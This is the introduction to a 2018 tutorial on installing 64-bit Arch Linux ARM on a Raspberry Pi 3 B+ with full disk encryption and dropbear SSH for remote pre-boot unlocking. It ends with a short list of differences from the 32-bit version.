Arch Linux ARM 64 on Raspberry Pi 3 B+ With Full Disk Encryption And SSH Unlock: 2018 Edition

There are multiple ways to get a full disk encrypted arch linux system on raspberry. In this tutorial, we will install a 64-bit arch linux armv8 system, using dropbear as ssh server for remote pre-boot unlocking of the root filesystem. However, it will still be possible to unlock and use the pi as usual, with a keyboard and monitor. We will also create an unencrypted partition in the installation process, usable as a rescue system.

Differences to the 32-bit arch linux arm version:

• probably better performance
• can run 64-bit software
• comes without the proprietary video-driver blobs
